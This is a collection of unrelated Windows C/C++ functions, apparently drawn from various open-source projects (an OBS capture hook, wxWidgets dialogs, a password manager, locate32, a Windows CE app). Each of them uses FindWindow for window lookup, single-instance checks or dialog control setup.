DWORD WINAPI CaptureThread(HANDLE hDllMainThread) { bool bSuccess = false; //wait for dll initialization to finish before executing any initialization code if(hDllMainThread) { WaitForSingleObject(hDllMainThread, INFINITE); CloseHandle(hDllMainThread); } TCHAR lpLogPath[MAX_PATH]; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, lpLogPath); wcscat_s(lpLogPath, MAX_PATH, TEXT("\\OBS\\pluginData\\captureHookLog.txt")); dummyEvent = CreateEvent(NULL, FALSE, FALSE, NULL); if(!logOutput.is_open()) logOutput.open(lpLogPath, ios_base::in | ios_base::out | ios_base::trunc, _SH_DENYNO); wstringstream str; str << OBS_KEEPALIVE_EVENT << UINT(GetCurrentProcessId()); strKeepAlive = str.str(); logOutput << CurrentDateTimeString() << "we're booting up: " << endl; InitializeCriticalSection(&d3d9EndMutex); InitializeCriticalSection(&glMutex); DWORD procID = GetCurrentProcessId(); wstringstream strRestartEvent, strEndEvent, strReadyEvent, strExitEvent, strInfoMemory; strRestartEvent << RESTART_CAPTURE_EVENT << procID; strEndEvent << END_CAPTURE_EVENT << procID; strReadyEvent << CAPTURE_READY_EVENT << procID; strExitEvent << APP_EXIT_EVENT << procID; strInfoMemory << INFO_MEMORY << procID; hSignalRestart = GetEvent(strRestartEvent.str().c_str()); hSignalEnd = GetEvent(strEndEvent.str().c_str()); hSignalReady = GetEvent(strReadyEvent.str().c_str()); hSignalExit = GetEvent(strExitEvent.str().c_str()); DWORD bla; HANDLE hWindowThread = CreateThread(NULL, 0, DummyWindowThread, NULL, 0, &bla); if (!hWindowThread) { logOutput << CurrentTimeString() << "CaptureThread: could not create window thread for some reason" << endl; return 0; } CloseHandle(hWindowThread); hInfoFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(CaptureInfo), strInfoMemory.str().c_str()); if(!hInfoFileMap) { logOutput << CurrentTimeString() << "CaptureThread: could not info file mapping" << endl; return 0; } infoMem = (CaptureInfo*)MapViewOfFile(hInfoFileMap, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(CaptureInfo)); if(!infoMem) { logOutput << CurrentTimeString() << "CaptureThread: could not map view of info shared memory" << endl; CloseHandle(hInfoFileMap); hInfoFileMap = NULL; return 0; } hwndOBS = FindWindow(OBS_WINDOW_CLASS, NULL); if(!hwndOBS) { logOutput << CurrentTimeString() << "CaptureThread: could not find main application window? wtf? seriously?" << endl; return 0; } textureMutexes[0] = OpenMutex(MUTEX_ALL_ACCESS, FALSE, TEXTURE_MUTEX1); if (textureMutexes[0]) { textureMutexes[1] = OpenMutex(MUTEX_ALL_ACCESS, FALSE, TEXTURE_MUTEX2); if (textureMutexes[1]) { while(!AttemptToHookSomething()) Sleep(50); logOutput << CurrentTimeString() << "(half life scientist) everything.. seems to be in order" << endl; while (1) { AttemptToHookSomething(); Sleep(4000); } CloseHandle(textureMutexes[1]); textureMutexes[1] = NULL; } else { logOutput << CurrentTimeString() << "could not open texture mutex 2" << endl; } CloseHandle(textureMutexes[0]); textureMutexes[0] = NULL; } else { logOutput << CurrentTimeString() << "could not open texture mutex 1" << endl; } logOutput << CurrentTimeString() << "WARNING: exit out of the main thread loop somehow" << endl; return 0; }
void ErrorMsg(char *message) { MessageBox(FindWindow("ConsoleWindowClass",NULL),(LPCTSTR)message,(LPCTSTR)"Error",MB_OK|MB_ICONWARNING); WSACleanup(); exit(0); }
HWND FormDeploy::getTabHwnd() { return FindWindow(WC_TABCONTROL, L"tab1"); }
void DataViewerAddColDlg::CreateControls() { wxLogMessage("DataViewerAddColDlg::CreateControls()"); SetBackgroundColour(*wxWHITE); if (time_variant && fixed_lengths) { wxXmlResource::Get()->LoadDialog(this, GetParent(), "ID_DATA_VIEWER_ADD_COL_TIME_FIXED_DLG"); } else if (time_variant && !fixed_lengths) { wxXmlResource::Get()->LoadDialog(this, GetParent(), "ID_DATA_VIEWER_ADD_COL_TIME_DLG"); } else if (!time_variant && fixed_lengths) { wxXmlResource::Get()->LoadDialog(this, GetParent(), "ID_DATA_VIEWER_ADD_COL_FIXED_DLG"); } else { // !time_variant && !fixed_lengths wxXmlResource::Get()->LoadDialog(this, GetParent(), "ID_DATA_VIEWER_ADD_COL_DLG"); } m_apply_button = wxDynamicCast(FindWindow(XRCID("wxID_OK")), wxButton); m_name = wxDynamicCast(FindWindow(XRCID("ID_TEXT_NEW_NAME")), wxTextCtrl); m_name->SetValue(default_name); wxString name_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789"; wxTextValidator name_validator(wxFILTER_INCLUDE_CHAR_LIST); name_validator.SetCharIncludes(name_chars); m_name->SetValidator(name_validator); m_name_valid = false; m_type = wxDynamicCast(FindWindow(XRCID("ID_CHOICE_TYPE")), wxChoice); // add options for Float, Integer, String, or Date m_type->Append("real (eg 1.03, 45.7)"); m_type->Append("integer (eg -1, 0, 23)"); m_type->Append("string (eg New York)"); //m_type->Append("date (eg 20110131)"); wxStaticText* mt = wxDynamicCast(FindWindow(XRCID("ID_STATIC_INSERT_POS")), wxStaticText); m_insert_pos = wxDynamicCast(FindWindow(XRCID("ID_CHOICE_INSERT_POS")), wxChoice); //if ( !project->IsFileDataSource()) { // mt->Disable(); // m_insert_pos->Disable(); //} m_displayed_decimals_lable = wxDynamicCast(FindWindow(XRCID("ID_STATIC_DISPLAYED_DECIMALS")), wxStaticText); m_displayed_decimals = wxDynamicCast(FindWindow(XRCID("ID_DISPLAYED_DECIMALS")), wxChoice); m_displayed_decimals->Append("default"); m_displayed_decimals->Append("1"); m_displayed_decimals->Append("2"); m_displayed_decimals->Append("3"); m_displayed_decimals->Append("4"); m_displayed_decimals->Append("5"); m_displayed_decimals->Append("6"); m_displayed_decimals->Append("7"); m_displayed_decimals->Append("8"); m_displayed_decimals->Append("9"); m_displayed_decimals->Append("10"); if (fixed_lengths) { m_length_lable = wxDynamicCast(FindWindow(XRCID("ID_STATIC_LENGTH")), wxStaticText); m_length = wxDynamicCast(FindWindow(XRCID("ID_TEXT_LENGTH")), wxTextCtrl); m_length->SetValidator(wxTextValidator(wxFILTER_DIGITS)); m_length_valid = true; m_decimals_lable = wxDynamicCast(FindWindow(XRCID("ID_STATIC_DECIMALS")), wxStaticText); m_decimals = wxDynamicCast(FindWindow(XRCID("ID_TEXT_DECIMALS")), wxTextCtrl); m_decimals->SetValidator(wxTextValidator(wxFILTER_DIGITS)); m_decimals_valid = true; m_max_label = wxDynamicCast(FindWindow(XRCID("ID_STATIC_MAX_LABEL")), wxStaticText); m_max_val = wxDynamicCast(FindWindow(XRCID("ID_STATIC_MAX_VAL")), wxStaticText); m_min_label = wxDynamicCast(FindWindow(XRCID("ID_STATIC_MIN_LABEL")), wxStaticText); m_min_val = wxDynamicCast(FindWindow(XRCID("ID_STATIC_MIN_VAL")), wxStaticText); } if (default_field_type == GdaConst::double_type) { m_type->SetSelection(0); } else if (default_field_type == GdaConst::long64_type) { m_type->SetSelection(1); } else if (default_field_type == GdaConst::string_type) { m_type->SetSelection(2); } else if (default_field_type == GdaConst::date_type) { m_type->SetSelection(3); } else { m_type->SetSelection(0); } Connect(XRCID("ID_TEXT_NEW_NAME"), wxEVT_COMMAND_TEXT_ENTER, wxCommandEventHandler(DataViewerAddColDlg::OnOkClick)); Connect(XRCID("ID_TEXT_LENGTH"), wxEVT_COMMAND_TEXT_ENTER, wxCommandEventHandler(DataViewerAddColDlg::OnOkClick)); Connect(XRCID("ID_TEXT_DECIMALS"), wxEVT_COMMAND_TEXT_ENTER, wxCommandEventHandler(DataViewerAddColDlg::OnOkClick)); CheckName(); SetDefaultsByType(default_field_type); }
int CALLBACK WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmd, int show) { // AllocConsole(); // AttachConsole(GetCurrentProcessId()); #pragma warning(push) #pragma warning( disable : 4996 ) // freopen("CON", "w", stdout); #pragma warning(pop) HANDLE mutex = CreateMutex(NULL, TRUE, g_mutex_name); if(!mutex) return 0; if(GetLastError() == ERROR_ALREADY_EXISTS) { HWND hwnd = FindWindow(g_class_name, g_title); if(hwnd) { ShowWindow(hwnd, SW_SHOW); SetForegroundWindow(hwnd); } ReleaseMutex(mutex); CloseHandle(mutex); return 0; } WMU_SNAPIT_UNINSTALL = RegisterWindowMessage(g_message_name); g_icon = (HICON)LoadImage(NULL, g_icon_name, IMAGE_ICON, 0, 0, LR_LOADFROMFILE); WNDCLASSEX wc; ZeroMemory(&wc, sizeof(wc)); wc.cbSize = sizeof(wc); wc.style = CS_VREDRAW | CS_HREDRAW; wc.lpfnWndProc = fproc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hIcon = g_icon; wc.hCursor = LoadCursor(0, IDC_ARROW); wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wc.lpszMenuName = 0; wc.lpszClassName = g_class_name; wc.hInstance = hinst; wc.hIconSm = g_icon; RegisterClassEx(&wc); HWND hwnd = CreateWindowEx( WS_EX_CLIENTEDGE, g_class_name, g_title, WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, 0, 0, hinst, 0 ); ReleaseMutex(mutex); if(hwnd == 0) { CloseHandle(mutex); return 0; } memset(&g_idata, 0, sizeof(g_idata)); g_idata.cbSize = sizeof(g_idata); g_idata.hWnd = hwnd; g_idata.uFlags = NIF_MESSAGE | NIF_ICON; g_idata.uCallbackMessage = WMU_TRAYICON; g_idata.hIcon = g_icon; g_menu = CreatePopupMenu(); AppendMenu(g_menu, MF_STRING | MF_GRAYED, ID_MENU_INSTALL, "Install"); AppendMenu(g_menu, MF_STRING | MF_GRAYED, ID_MENU_UNINSTALL, "Uninstall"); AppendMenu(g_menu, MF_STRING, ID_MENU_HIDE, "Hide"); AppendMenu(g_menu, MF_STRING, ID_MENU_EXIT, "Exit"); Shell_NotifyIcon(NIM_ADD, &g_idata); hook_install_(); MSG msg; while(GetMessage(&msg, 0, 0, 0) > 0) { TranslateMessage(&msg); DispatchMessage(&msg); } hook_uninstall_(); Shell_NotifyIcon(NIM_DELETE, &g_idata); CloseHandle(mutex); return 0; }
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; INITCOMMONCONTROLSEX ctrls; HACCEL haccel; static char *class_name="DB_UTIL_CLASS"; int first_instance=TRUE; int debug=0; first_instance=set_single_instance(TRUE); ghinstance=hInstance; init_ini_file(); #ifdef _DEBUG debug=1; #else get_ini_value("SETTINGS","DEBUG",&debug); #endif if(debug!=0){ open_console(); } { int val=0; get_ini_value("SETTINGS","SINGLE_INSTANCE",&val); if(val && (!first_instance)){ COPYDATASTRUCT cd={0}; HWND hdbutil; cd.cbData=nCmdShow; cd.cbData=strlen(lpCmdLine)+1; cd.lpData=lpCmdLine; hdbutil=FindWindow("DB_UTIL_CLASS",NULL); if(hdbutil!=0){ int sw; SendMessage(hdbutil,WM_COPYDATA,hInstance,&cd); if (IsZoomed(hdbutil)) sw=SW_MAXIMIZE; else if(IsIconic(hdbutil)) sw=SW_RESTORE; else sw=SW_SHOW; ShowWindow(hdbutil,sw); SetForegroundWindow(hdbutil); } return TRUE; } set_single_instance(val); } init_mdi_stuff(); LoadLibrary("RICHED20.DLL"); LoadLibrary("Msftedit.dll"); ctrls.dwSize=sizeof(ctrls); ctrls.dwICC = ICC_LISTVIEW_CLASSES|ICC_TREEVIEW_CLASSES|ICC_BAR_CLASSES; InitCommonControlsEx(&ctrls); InitializeCriticalSection(&mutex); start_worker_thread(); start_intellisense_thread(); setup_mdi_classes(ghinstance); ghmenu=LoadMenu(hInstance, MAKEINTRESOURCE(IDR_MENU1)); ghmainframe=create_mainwindow(&WndProc,ghmenu,hInstance,class_name,"DB_UTIL"); ShowWindow(ghmainframe,nCmdShow); UpdateWindow(ghmainframe); haccel=LoadAccelerators(ghinstance,MAKEINTRESOURCE(IDR_ACCELERATOR1)); process_cmd_line(lpCmdLine); while(GetMessage(&msg,NULL,0,0)){ if(!custom_dispatch(&msg)) if(!TranslateMDISysAccel(ghmdiclient, &msg) && !TranslateAccelerator(ghmainframe,haccel,&msg)){ TranslateMessage(&msg); //if(msg!=WM_MOUSEFIRST&&msg!=WM_NCHITTEST&&msg!=WM_SETCURSOR&&msg!=WM_ENTERIDLE&&msg!=WM_NOTIFY) if(FALSE) if(msg.message!=0x118&&msg.message!=WM_NCHITTEST&&msg.message!=WM_SETCURSOR&&msg.message!=WM_ENTERIDLE&&msg.message!=WM_NCMOUSEMOVE&&msg.message!=WM_MOUSEFIRST) { static DWORD tick=0; if((GetTickCount()-tick)>500) printf("--\n"); printf("x"); print_msg(msg.message,msg.lParam,msg.wParam,msg.hwnd); tick=GetTickCount(); } DispatchMessage(&msg); } } DeleteCriticalSection(&mutex); return msg.wParam; }
void CManagePasswordPolicies::CreateControls() { ////@begin CManagePasswordPolicies content construction CManagePasswordPolicies* itemDialog1 = this; wxBoxSizer* itemBoxSizer2 = new wxBoxSizer(wxVERTICAL); itemDialog1->SetSizer(itemBoxSizer2); wxStaticText* itemStaticText3 = new wxStaticText( itemDialog1, wxID_STATIC, _("Available Password Policies:"), wxDefaultPosition, wxDefaultSize, 0 ); itemBoxSizer2->Add(itemStaticText3, 0, wxALIGN_LEFT|wxALL, 5); wxBoxSizer* itemBoxSizer4 = new wxBoxSizer(wxHORIZONTAL); itemBoxSizer2->Add(itemBoxSizer4, 0, wxALIGN_CENTER_HORIZONTAL|wxALL, 5); m_PolicyNames = new wxGrid( itemDialog1, ID_POLICYLIST, wxDefaultPosition, wxSize(269, 150), wxSUNKEN_BORDER|wxHSCROLL|wxVSCROLL ); m_PolicyNames->SetDefaultColSize(100); m_PolicyNames->SetDefaultRowSize(25); m_PolicyNames->SetColLabelSize(25); m_PolicyNames->SetRowLabelSize(50); m_PolicyNames->CreateGrid(10, 2, wxGrid::wxGridSelectRows); itemBoxSizer4->Add(m_PolicyNames, 3, wxGROW|wxALL, 5); wxBoxSizer* itemBoxSizer6 = new wxBoxSizer(wxVERTICAL); itemBoxSizer4->Add(itemBoxSizer6, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxGridSizer* itemGridSizer7 = new wxGridSizer(0, 2, 0, 0); itemBoxSizer6->Add(itemGridSizer7, 0, wxALIGN_CENTER_HORIZONTAL|wxALL, 5); wxButton* itemButton8 = new wxButton( itemDialog1, wxID_NEW, _("&New"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton8, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxButton* itemButton9 = new wxButton( itemDialog1, ID_EDIT_PP, _("Edit"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton9, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxButton* itemButton10 = new wxButton( itemDialog1, wxID_DELETE, _("&Delete"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton10, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxButton* itemButton11 = new wxButton( itemDialog1, ID_LIST, _("List"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton11, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxButton* itemButton12 = new wxButton( itemDialog1, wxID_UNDO, _("&Undo"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton12, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxButton* itemButton13 = new wxButton( itemDialog1, wxID_REDO, _("&Redo"), wxDefaultPosition, wxDefaultSize, 0 ); itemGridSizer7->Add(itemButton13, 0, wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL, 5); wxStaticBox* itemStaticBoxSizer14Static = new wxStaticBox(itemDialog1, wxID_STATIC, _("Test Selected Policy")); wxStaticBoxSizer* itemStaticBoxSizer14 = new wxStaticBoxSizer(itemStaticBoxSizer14Static, wxVERTICAL); itemBoxSizer6->Add(itemStaticBoxSizer14, 0, wxGROW|wxALL, 5); wxButton* itemButton15 = new wxButton( itemDialog1, ID_GENERATE_PASSWORD, _("Generate"), wxDefaultPosition, wxDefaultSize, 0 ); itemStaticBoxSizer14->Add(itemButton15, 0, wxALIGN_CENTER_HORIZONTAL|wxALL, 5); wxBoxSizer* itemBoxSizer16 = new wxBoxSizer(wxHORIZONTAL); itemStaticBoxSizer14->Add(itemBoxSizer16, 0, wxGROW|wxALL, 5); m_passwordCtrl = new wxTextCtrl( itemDialog1, ID_PASSWORD_TXT, wxEmptyString, wxDefaultPosition, wxDefaultSize, 0 ); itemBoxSizer16->Add(m_passwordCtrl, 5, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxBitmapButton* itemBitmapButton18 = new wxBitmapButton( itemDialog1, ID_BITMAPBUTTON, itemDialog1->GetBitmapResource(wxT("graphics/toolbar/new/copypassword.xpm")), wxDefaultPosition, wxDefaultSize, wxBU_AUTODRAW ); wxBitmap itemBitmapButton18BitmapDisabled(itemDialog1->GetBitmapResource(wxT("graphics/toolbar/new/copypassword_disabled.xpm"))); itemBitmapButton18->SetBitmapDisabled(itemBitmapButton18BitmapDisabled); if (CManagePasswordPolicies::ShowToolTips()) itemBitmapButton18->SetToolTip(_("Copy Password to clipboard")); itemBoxSizer16->Add(itemBitmapButton18, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); m_lowerTableDesc = new wxStaticText( itemDialog1, wxID_STATIC, _("Selected policy details:"), wxDefaultPosition, wxDefaultSize, 0 ); itemBoxSizer2->Add(m_lowerTableDesc, 0, wxALIGN_LEFT|wxALL, 5); wxBoxSizer* itemBoxSizer20 = new wxBoxSizer(wxHORIZONTAL); itemBoxSizer2->Add(itemBoxSizer20, 0, wxGROW|wxALL, 5); m_PolicyDetails = new wxGrid( itemDialog1, ID_POLICYPROPERTIES, wxDefaultPosition, wxSize(-1, 150), wxSUNKEN_BORDER|wxHSCROLL|wxVSCROLL ); m_PolicyDetails->SetDefaultColSize(210); m_PolicyDetails->SetDefaultRowSize(25); m_PolicyDetails->SetColLabelSize(25); m_PolicyDetails->SetRowLabelSize(50); m_PolicyDetails->CreateGrid(5, 2, wxGrid::wxGridSelectRows); itemBoxSizer20->Add(m_PolicyDetails, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); m_PolicyEntries = new wxGrid( itemDialog1, ID_POLICYENTRIES, wxDefaultPosition, wxSize(-1, 150), wxSUNKEN_BORDER|wxHSCROLL|wxVSCROLL ); m_PolicyEntries->SetDefaultColSize(140); m_PolicyEntries->SetDefaultRowSize(25); m_PolicyEntries->SetColLabelSize(25); m_PolicyEntries->SetRowLabelSize(50); m_PolicyEntries->CreateGrid(5, 3, wxGrid::wxGridSelectRows); itemBoxSizer20->Add(m_PolicyEntries, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxStdDialogButtonSizer* itemStdDialogButtonSizer23 = new wxStdDialogButtonSizer; itemBoxSizer2->Add(itemStdDialogButtonSizer23, 0, wxALIGN_CENTER_HORIZONTAL|wxALL, 5); wxButton* itemButton24 = new wxButton( itemDialog1, wxID_OK, _("&OK"), wxDefaultPosition, wxDefaultSize, 0 ); itemStdDialogButtonSizer23->AddButton(itemButton24); wxButton* itemButton25 = new wxButton( itemDialog1, wxID_CANCEL, _("&Cancel"), wxDefaultPosition, wxDefaultSize, 0 ); itemStdDialogButtonSizer23->AddButton(itemButton25); wxButton* itemButton26 = new wxButton( itemDialog1, wxID_HELP, _("&Help"), wxDefaultPosition, wxDefaultSize, 0 ); itemStdDialogButtonSizer23->AddButton(itemButton26); itemStdDialogButtonSizer23->Realize(); ////@end CManagePasswordPolicies content construction if (m_core.IsReadOnly()) { FindWindow(wxID_NEW)->Enable(false); FindWindow(wxID_DELETE)->Enable(false); // Hide cancel button & change OK button text FindWindow(wxID_CANCEL)->Enable(false); FindWindow(wxID_CANCEL)->Show(false); FindWindow(wxID_OK)->SetLabel(_("Close")); FindWindow(ID_EDIT_PP)->SetLabel(_("View")); } // We have 2 grids, but we show only one at a time, // toggle when user clicks on ID_LIST button. // Setting these up: m_PolicyNames->SetRowLabelSize(0); int col0Width = m_PolicyNames->GetColSize(0); col0Width += 45; m_PolicyNames->SetColSize(0, col0Width); m_PolicyNames->SetColLabelValue(0, _("Policy Name")); m_PolicyNames->SetColLabelValue(1, _("Use count")); UpdateNames(); m_PolicyNames->SelectRow(0); // Since we select the default policy, disable List & Delete FindWindow(ID_LIST)->Enable(false); FindWindow(wxID_DELETE)->Enable(false); m_PolicyDetails->SetRowLabelSize(0); m_PolicyDetails->SetColLabelValue(0, _("Policy Field")); m_PolicyDetails->SetColLabelValue(1, _("Value")); UpdateDetails(); m_PolicyEntries->SetRowLabelSize(0); m_PolicyEntries->SetColLabelValue(0, _("Group")); m_PolicyEntries->SetColLabelValue(1, _("Title")); m_PolicyEntries->SetColLabelValue(2, _("User Name")); ShowPolicyDetails(); // Max. of 255 policy names allowed - only 2 hex digits used for number if (m_MapPSWDPLC.size() >= 255) FindWindow(wxID_NEW)->Enable(false); // No changes yet FindWindow(wxID_UNDO)->Enable(false); FindWindow(wxID_REDO)->Enable(false); m_PolicyNames->SetFocus(); }
BOOL RestoreSettings(HWND hWnd) { // Check whether locate32 is running HWND hLocateSTWindow=FindWindow("LOCATEAPPST",NULL); if (hLocateSTWindow!=NULL) { char szText[100]; LoadString(hInst,IDS_LOCATE32RUNNING,szText,100); if (MessageBox(hWnd,szText,NULL,MB_OKCANCEL|MB_ICONINFORMATION)) return FALSE; } char szPath[MAX_PATH]=""; char szTitle[100],szFilter[200]; OSVERSIONINFO ve; ve.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); if (GetVersionEx(&ve)) { if (ve.dwPlatformId==VER_PLATFORM_WIN32_NT) LoadString(hInst,IDS_RESTOREFILTER,szFilter,200); else LoadString(hInst,IDS_RESTOREFILTER9x,szFilter,200); } else LoadString(hInst,IDS_RESTOREFILTER,szFilter,200); LoadString(hInst,IDS_RESTORESETTINGS,szTitle,100); for (int i=0;szFilter[i]!='\0';i++) { if (szFilter[i]=='|') szFilter[i]='\0'; } OPENFILENAME ofn; ZeroMemory(&ofn,sizeof(OPENFILENAME)); ofn.lStructSize=OPENFILENAME_SIZE_VERSION_400; ofn.hwndOwner=hWnd; ofn.hInstance=hInst; ofn.lpstrFilter=szFilter; ofn.lpstrFile=szPath; ofn.nMaxFile=MAX_PATH; ofn.lpstrTitle=szTitle; ofn.Flags=OFN_ENABLESIZING|OFN_EXPLORER|OFN_FILEMUSTEXIST|OFN_LONGNAMES|OFN_HIDEREADONLY; ofn.lpstrDefExt="*.reg"; if (!GetOpenFileName(&ofn)) return FALSE; int nDotIndex; for (nDotIndex=(int)strlen(szPath)-1;nDotIndex>=0 && szPath[nDotIndex]!='.';nDotIndex--); if (nDotIndex>=0 && _stricmp(szPath+nDotIndex+1,"reg")==0) { char szBackup[MAX_PATH]; CopyMemory(szBackup,szPath,nDotIndex+1); strcpy_s(szBackup+nDotIndex+1,MAX_PATH-nDotIndex-1,"old.reg"); // Backing up char szCommand[2000]; sprintf_s(szCommand,2000,"regedit /ea \"%s\" HKEY_CURRENT_USER\\Software\\Update",szBackup); PROCESS_INFORMATION pi; STARTUPINFO si; // Ansi and Unicode versions are same ZeroMemory(&si,sizeof(STARTUPINFO)); si.cb=sizeof(STARTUPINFO); if (CreateProcess(NULL,szCommand,NULL, NULL,FALSE,CREATE_DEFAULT_ERROR_MODE|NORMAL_PRIORITY_CLASS, NULL,NULL,&si,&pi)) { WaitForSingleObject(pi.hProcess,2000); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else ShowError(hWnd,IDS_ERRORCANNOTRUNREGEDIT,GetLastError()); // Restore key DeleteSubKey(HKEY_CURRENT_USER,"SOFTWARE\\Update"); sprintf_s(szCommand,2000,"regedit /s \"%s\"",szPath); ZeroMemory(&si,sizeof(STARTUPINFO)); si.cb=sizeof(STARTUPINFO); if (CreateProcess(NULL,szCommand,NULL, NULL,FALSE,CREATE_DEFAULT_ERROR_MODE|NORMAL_PRIORITY_CLASS, NULL,NULL,&si,&pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else ShowError(hWnd,IDS_ERRORCANNOTRUNREGEDIT,GetLastError()); return TRUE; } // First, check that we can restore key HKEY hRegKey; LONG lRet=RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Update_tmpTmp", 0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_ALL_ACCESS,NULL,&hRegKey,NULL); if (lRet!=ERROR_SUCCESS) { ShowError(hWnd,IDS_ERRORCANNOTCREATEKEY,lRet); return FALSE; } lRet=RegRestoreKey(hRegKey,szPath,0); RegCloseKey(hRegKey); DeleteSubKey(HKEY_CURRENT_USER,"SOFTWARE\\Update_tmpTmp"); if (lRet!=ERROR_SUCCESS) { ShowError(hWnd,IDS_ERRORCANNOTRESTOREKEY,lRet); return FALSE; } // Clear existing key DeleteSubKey(HKEY_CURRENT_USER,"SOFTWARE\\Update"); // Restore key lRet=RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Update", 0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_ALL_ACCESS,NULL,&hRegKey,NULL); if (lRet!=ERROR_SUCCESS) { ShowError(hWnd,IDS_ERRORCANNOTCREATEKEY,lRet); return FALSE; } lRet=RegRestoreKey(hRegKey,szPath,0); RegCloseKey(hRegKey); if (lRet!=ERROR_SUCCESS) { ShowError(hWnd,IDS_ERRORCANNOTRESTOREKEY,lRet); return FALSE; } return TRUE; }
// // FUNCTION: InitInstance(HANDLE, int) // // PURPOSE: Saves instance handle and creates main window // // COMMENTS: // // In this function, we save the instance handle in a global variable and // create and display the main program window. // BOOL InitInstance(HINSTANCE hInstance, int nCmdShow, LPTSTR lpCmdLine) { HWND hWnd = NULL; TCHAR szTitle[MAX_LOADSTRING]; // The title bar text TCHAR szWindowClass[MAX_LOADSTRING]; // The window class name BOOL bAlreadyRunning = FALSE; hInst = hInstance; // Store instance handle in our global variable // Initialize global strings LoadString(hInstance, IDC_STARTAPP, szWindowClass, MAX_LOADSTRING); LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); //If it is already running, then focus on the window hWnd = FindWindow(szWindowClass, szTitle); if (hWnd) { SetForegroundWindow ((HWND) (((DWORD)hWnd) | 0x01)); // Set return value to indicate that we // want to close down this process. bAlreadyRunning = TRUE; } else { MyRegisterClass(hInstance, szWindowClass); RECT rect; GetClientRect(hWnd, &rect); hWnd = CreateWindow(szWindowClass, szTitle, WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL); if (!hWnd) { return FALSE; } } // Data on the command line means we have a notication. // Send details to main window. if (_tcslen(lpCmdLine) > 0) { COPYDATASTRUCT cds; cds.cbData = (_tcslen(lpCmdLine)+1) * sizeof(TCHAR); cds.dwData = 0; cds.lpData = lpCmdLine; SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); } if (bAlreadyRunning) return FALSE; // If started by user, request notifications. if (_tcslen(lpCmdLine) == 0) { TCHAR tchApp[MAX_PATH]; GetModuleFileName(hInstance, tchApp, MAX_PATH); // First, clear out any previous requests. CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_NONE); // Now, let's register some more.z CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_DEVICE_CHANGE); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_RESTORE_END); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_RS232_DETECTED); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_SYNC_END); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_TIME_CHANGE); #ifdef NOTIFICATION_EVENT_TZ_CHANGE // New for CE 3.0 CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_TZ_CHANGE); #endif #ifdef NOTIFICATION_EVENT_WAKEUP // New for CE 3.0 CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_WAKEUP); #endif // Docs say these aren't supported. Are they? CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_ON_AC_POWER); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_OFF_AC_POWER); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_NET_CONNECT); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_NET_DISCONNECT); CeRunAppAtEvent(tchApp, NOTIFICATION_EVENT_IR_DISCOVERED); } // ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); if (hwndCB) CommandBar_Show(hwndCB, TRUE); return TRUE; }
